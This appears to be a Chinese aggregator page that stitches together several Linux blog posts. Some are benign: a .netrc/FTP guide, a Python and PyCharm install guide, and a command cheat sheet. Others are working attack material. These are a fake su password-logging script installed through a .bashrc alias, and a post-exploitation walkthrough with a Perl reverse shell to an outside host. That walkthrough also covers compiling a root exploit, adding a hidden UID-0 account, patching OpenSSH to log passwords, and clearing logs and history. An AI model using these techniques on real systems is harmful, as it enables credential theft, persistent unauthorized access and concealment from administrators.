GVKun编程网logo

【python小工具】linux 低权限密码记录 提权小套路(linux 用户提权)

10

如果您想了解【python小工具】linux低权限密码记录提权小套路和linux用户提权的知识,那么本篇文章将是您的不二之选。我们将深入剖析【python小工具】linux低权限密码记录提权小套路的各

如果您想了解【python小工具】linux 低权限密码记录 提权小套路linux 用户提权的知识,那么本篇文章将是您的不二之选。我们将深入剖析【python小工具】linux 低权限密码记录 提权小套路的各个方面,并为您解答linux 用户提权的疑在这篇文章中,我们将为您介绍【python小工具】linux 低权限密码记录 提权小套路的相关知识,同时也会详细的解释linux 用户提权的运用方法,并给出实际的案例分析,希望能帮助到您!

本文目录一览:

【python小工具】linux 低权限密码记录 提权小套路(linux 用户提权)

【python小工具】linux 低权限密码记录 提权小套路(linux 用户提权)

#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")

logfile="/dev/shm/.su.log"

fail_str = "su: incorrect password"

try:

    passwd = getpass.getpass(prompt=''Password: '');

    file=open(logfile,''a'')


    file.writelines("\n"+" [%s]t:%s "%(passwd, current_time)+"\n")


    file.close()

except:

    pass

time.sleep(1)

print (fail_str)

linux命令

echo "alias su=''python3 文件路径''" >> .bashrc
#python 用的是2.7 ;python3 用的python3.4,;具体看你配置
#在bash永远保存,防止重启丢失
source .bashrc
#生效bash

关于清history

echo > .bash_history

history -c

history -r

#清空history缓存
#删除
#同步
#不推荐,推荐vi修改.bash_history文件,然后 history -r

后续改下py文件

 

linux 密码记录文件 .netrc 简介

linux 密码记录文件 .netrc 简介

一、设置.netrc文件
在当前用户的主目录创建一个.netrc文件,权限设置600

文件内容是:

machine 192.168.0.1 login ftpuser password ftpuser_password  

说明:这样你每次登录192.168.0.1的时候,系统会自动登录,实现自动ftp。

举例:

每天8点到192.168.0.1上获取/test目录中的test.txt,可以创建一个命令行文件(ftp_cmd)。

内容如下:

cd test 
get test.txt 
bye

然后设置定时任务: 

0 8 * * * ftp 192.168.0.1 < ftp_cmd

 

二、FTP常用命令

1、default login password 

        如果需要频繁登录ftp,省去输入账号密码的繁琐流程。

2、binary

        二进制文件需要使用二进制文件传输方式,如果使用ascii方式传输的文件则不可用。

3、runique

        防止同名文件被覆盖的问题。

4、prompt off

        使用ftp时,会用到mget或其它需要确认的ftp命令,将此确认过程取消,可大大方便使用者。

5、hash on

        文件传输每传送1KB,在屏幕上显示一个#号,关注传输快慢。

6、idle 7200

        避免线路拥塞导致ftp掉线,需要将idle参数设置最大7200秒

7、macdef

        macdef定义一个宏,macro_name为宏定义的名称。在macdef行下,可输入任何有效的ftp命令,并以空行结束宏定义,执行时只需在宏名前加"$"号即可。如果宏名定义为init,则该宏命令在启动ftp后自动加以执行,无需用户输入$ macro_name。


三、netrc的使用举例 

1.用vi编辑器先编辑一个如下的文件: 

default login anonymous password 123456 
macdef init 
binary   . 
runique  . 
hash on  . 
prompt off 
idle 7200 
(空行) 

第1行意为缺省情况下,进入anonymous帐户,并以自己的电子邮件地址为口令;
第2行至第8行定义了宏init,该宏中的所有5条命令将在进入ftp环境后立刻执行,
第8行(空行)不可省略,否则为无效宏定义。 

2.利用.netrc可将用户所需操作大大简化,极大地提高工作效率。
如利用archie命令查找到文件xplaygizmo-1.0.gz在匿名ftp主机上unsite.unc.e-du的/pub/packages/solaris/freeware目录下,
用户欲将该文件用ftp下载,只需用vi编辑器将archie的查找结果插入到.netrc文件空行之上,即增加下列三行:

cd /pub/packages/solaris/freeware 
get xplaygizmo-1.0.gz 
bye 
(空行) 

运行ftp sunsite.unc.edu,即自动完成上述.netrc 中的所有操作,无需任何人工干预。屏幕将显示类似于下面的结果: 

Connected to sunsite.unc.edu. 
220 calzone FTP server(Version wu-2.4(3Wed  0ct 2 09:30:40 EDT 1996)ready 
331 Guest login ok,send your complete e-mail address as password. 
230............. 
230 Guest login ok,access resrictions apply. 
200 Type set to I. 
Receive unique on. 
Hash mark printing on (1024 bytes/hash mark). 
Interactive mode off. 
200 Maximum IDLE time set to 7200 seconds 
cd/pub/packages/solaris/freeware 
250 CWD command successful. 
get xplaygizmo-1.0.gz 
200 PORT command successful. 
150 opening BINARY mode data connection for  xplaygizmo-1.0.gz(8753 bytes). ######## 
226 Transfer complete. 
8753 bytes received in 50.8 secs(0.17  Kbytes/sec) 
221 Goodbye. 

注意:默认时,运行ftp命令将检测用户的HOME目录中的.netrc文件,并自动加以执行,如果不想使用.netrc,可在ftp命令行中使用-n参数加以取消。 
 

 

LINUX下安装Python3.7、Pycharm[Linux命令记录]

LINUX下安装Python3.7、Pycharm[Linux命令记录]

环境

  阿里云CenterOs7.4 64位 + Python3.7.0 + pycharm-professional-2018.3

安装Python

  1. 安装依赖包

 sudo yum -y groupinstall "Development tools" 

 

sudo yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel

  2. 下载安装包:压缩包链接可自行选择(官网复制)

     wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz 

  3. 配置

// 解压xz属性的文件
tar xJf Python-3.7.0.tar.xz // 进入目录 cd Python-3.7.0

  4. 编译安装

// 准备编译
sudo ./configure // 编译
sudo make // 安装
sudo make install

  5. 安装pip

//下载文件
wget https://bootstrap.pypa.io/get-pip.py --no-check-certificate
//执行安装
python get-pip.py

  6. 创建软连接(阿里云自带Python2,为了将Python命令修改为Python3执行)

ln -s /usr/local/bin/python3/bin/python3 /usr/bin/python3

ln -s /usr/local/bin/python3/bin/pip3 /usr/bin/pip3

安装图形界面

// 安装GNOME桌面环境,较大需等待
yum groupinstall -y "GNOME Desktop" // 修改开机默认运行方式为图形方式(centerOS7) systemctl set-default graphical.target // 重启 reboot

安装pycharm(专业版仅30天体验,按需选择[专业版、社区版])

// 下载
wget https://download.jetbrains.com/python/pycharm-professional-2018.3.tar.gz
// 找到安装包
ls pycharm-professional-2018.3.tar.gz
// 解压
tar -xvzf pycharm-professional-2018.3.tar.gz
// 找到解压路径
ls pycharm-professional-2018.3
// 进入
cd pycharm-professional-2018.3/bin
// 打开
sh pycharm.sh

    打开一次配置好后,后续可在桌面应用处直接打开...

 LINUX命令学习笔记

 

常用的RPM软件包命令

 

安装软件的命令格式 rpm -ivh filename.rpm
升级软件的命令格式 rpm -Uvh filename.rpm
卸载软件的命令格式 rpm -e filename.rpm
查询软件描述信息的命令格式 rpm -qpi filename.rpm
列出软件文件信息的命令格式 rpm -qpl filename.rpm
查询文件属于哪个RPM的命令格式 rpm -qf filename
常用yum命令
命令 作用
yum repolist all 列出所有仓库
yum list all 列出仓库中所有软件包
yum info 软件包名称 查看软件包信息
yum install软件包名称 安装软件包
yum reinstall软件包名称 重新安装软件包
yum update软件包名称 升级软件包
yum remove软件包名称 移除软件包
yum clean all 清楚所有仓库缓存
yum check-update 检查可更新的软件包
yum grouplist 检查系统中已安装的软件包组
yum groupinstall软件包组 安装指定的软件包组
yum groupremove软件包组 移除指定的软件包组
yum groupinfo软件包组 查询指定的软件包组信息
基本命令
命令 作用
#date 日期时间
#date "+%Y-%m-%d %H:%M:%S" 带格式日期
#reboot 重启系统(admin权限)
#powderoff 关闭系统(admin权限)
#wget命令 终端下载网络文件
#ps 查看系统中进程状态
#top 动态监视进程活动与系统负载等信息
#pidof 查看某个进程服务的PID值
#kill 用来终止某个指定PID值服务进程
#killall 终止某个指定名称服务的所有进程
系统状态检测命令
参数 作用
#ifconfig 获取网卡配置与网络状态等信息
#uname -a、cat /etc/redhat-release 获取系统内核与系统版本信息
#uptime 查看系统负载信息
#free -h 显示系统中内存使用量
#who 查看当前登入主机的用户终端信息
#last 查看当前所有系统登录记录
#history[c] 显示历史执行过的命令
#sosreport 收集系统配置及架构信息输出诊断文档,格式为sosreport
#pwd 显示当前工作目录
#cd[-]上一次所在目录[..]上级目录[~]当前用户家目录[路径]指定目录 切换用户当前工作目录
#ls[选项][文件] 显示当前目录中的文件信息
#cat [-n显示行号] 查看纯文本文件[内容较少的]
#more 查看文本文件[内容较大的]
#head[-n 20] 用于查看纯文本文件前N行
#tail[-n 20] 用于查看纯文本文件后N行以及持续刷新内容,tail -f 日志文件
#tr[原始字符][目标字符] 用于替换文本文件的字符
#wc 统计指定文本的行数[l]、字数[w]、字节数[c]
#start 查看文件具体存储信息和时间,格式:start 文件
#cut 按列提取文本字符,cut[参数] 文本
#diff 比较多个文本文件的差异
wget命令以及参数
参数 作用
-b 后台下载模式
-P 下载到指定目录
-t 最大尝试次数
-c 断点续传
-p 下载页面所有资源,包括图片和视频等
-r 递归下载
ps命令
参数 作用
-a 显示所有进程(包括其他用户)
-u 用户以及其他详细信息
-x 显示没有控制终端的进程

五种常见进程状态:

  • R(运行):进程运行或在队列中等待
  • S(中断):进程处于休眠中,当某个条件形成后或者接收到信息时,则脱离该状态
  • D(不可中断):进程不响应系统异步信号,使用KILL命令也无法中断。
  • Z(僵死):进程已经终止,但描述符依然存在,直到父进程使用wait4()函数将进程释放。
  • T(停止):进程收到停止信号后停止运行
文件目录管理命令
  • touch命令:创建空白文件或设置文件的时间,格式:touch[选项][文件]
参数 作用
-a 仅修改读取时间(atime)
-m 仅修改“修改时间”(mtime)
-d 全部进行修改(atime mtime)
  • mkdir:创建空白目录,mkdir[选项][目录],还可使用-p递归创建嵌套叠层关系的文件夹
  • cp : 复制文件或目录
参数 作用
-p 保留原始文件的属性
-d 若对象是链接文件,则保留链接文件的属性
-r 递归持续复制(用于目录)
-i 若目标文件存在则询问是否覆盖
-a 相当于-pdr(上述参数)
  • mv : 剪切文件或文件重命名
  • rm : 删除文件或目录
  • dd : 按照指定大小和个数的数据块来复制文件或转换文件
参数 作用
if 输入文件名称
of 输出文件名称
bs 每个块的大小
count 要复制块的个数
  • file: 查看文件类型
打包压缩和搜索命令
  • tar命令:用于对文件进行打包压缩和解压,主要格式(.tar,.tar.gz,tar.bz2)
参数 作用
-c 创建压缩文件
-x 打开压缩文件
-t 查看压缩包内有哪些文件
-z 使用Gzip压缩或解压
-j 使用bzip2压缩或解压
-v 显示压缩或解压过程
-f 目标文件名
-p 保留原始的权限和属性
-P 使用绝对路径来压缩
-C 指定解压到的目录

压缩:tar -czvf 压缩包名.tar.gz

解压:tar -xzvf 压缩包名.tar.gz

  • grep:在文本中执行关键词搜索,显示匹配结果,格式:grep[选项][文件]
参数 作用
-b 将可执行文件(binary)当作文本文件(text)来搜索
-c 仅显示找到的行数
-i 忽略大小写
-n 显示行号
-v 反向选择,列出没有关键词的行
  • find:按指定条件查找文件
参数 作用
-name 匹配名称
-perm 匹配权限(mode为完全匹配,-mode为包含即可)
-user 匹配所有者
-group 匹配所有组
-mtime -n +n 匹配修改内容的时间(-n:n天内,+n:n天前)
-atime -n +n 匹配访问文件的时间(-n:n天内,+n:n天前)
-ctime -n +n 匹配修改文件权限的时间(-n:n天内,+n:n天前)
-nouser 匹配无所有者的文件
-nogroup 匹配无所有组的文件
-newer f1 !f2 匹配比f1新比f2旧的文件
--type b/d/c/p/l/f 匹配文件类型(字母以此表示块设备、目录、字符设备、管道、链接文件、文本文件)
-size 匹配文件大小
-prune 忽略某个目录
-exec ...{}; 后面可跟用于进一步处理文件搜索结果的命令

 

 总结

 Linux系统适合作服务器,但安装图形界面实有不妥,比起windows占用的空间还是算小的了。输入命令操作系统时着实让人有种装X的感觉,为了增强这种感觉,我们需要熟记这些命令。

由于笔记用有道云得markdown记录,直接复制过来有些文字显得较小。

 

Linux下安装python3.7【python】

Linux下安装python3.7【python】

1.原文地址

https://www.cnblogs.com/yhongji/p/9383857.html

2.python软件包

https://www.python.org/ftp/python/

Linux低权限用户记录ssh密码

Linux低权限用户记录ssh密码

0x01 场景

现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始

 

 

0x02 过程

反弹shell

linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp

自己外网服务器 nc -l -vv -p 1234 ,监听1234端口

webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码

Perl

use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=1234; //反向连接端口

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){

open(STDIN,">&S");open(STDOUT,">&S");

open(STDERR,">&S");exec("/bin/sh -i");};

 

 

/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c

赋予 root.out 执行权限, chmod +x root.out

用反弹shell执行exp,完成后查看当前权限 ./root.out

 

 

 

 

 

 

 

 

重新编译ssh

 

 

 

第一步顺利的话就可以直接一句话加一个自己的账户了

 

Bash

useradd -p `openssl passwd -1 -salt ''xxx'' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo  //一句添加账户密码luo:luo

 

 

ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。

 

备份原来的sshmv /etc/ssh /etc/ssh_bak

下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用

wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz

tar -zxvf openssh-6.6p1.tar.gz 解压后进入解压出的目录

vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句

logit("username: %s password: %s", authctxt->user, password);

保存之后

./configure --sysconfdir=/etc/ssh --without-zlib-version-check  --with-md5-passwords

 

make

make install

重启ssh服务

service ssh restart

 

 

接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。

 

 

 

注意事项


渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。

 

我们今天的关于【python小工具】linux 低权限密码记录 提权小套路linux 用户提权的分享已经告一段落,感谢您的关注,如果您想了解更多关于linux 密码记录文件 .netrc 简介、LINUX下安装Python3.7、Pycharm[Linux命令记录]、Linux下安装python3.7【python】、Linux低权限用户记录ssh密码的相关信息,请在本站查询。

本文标签: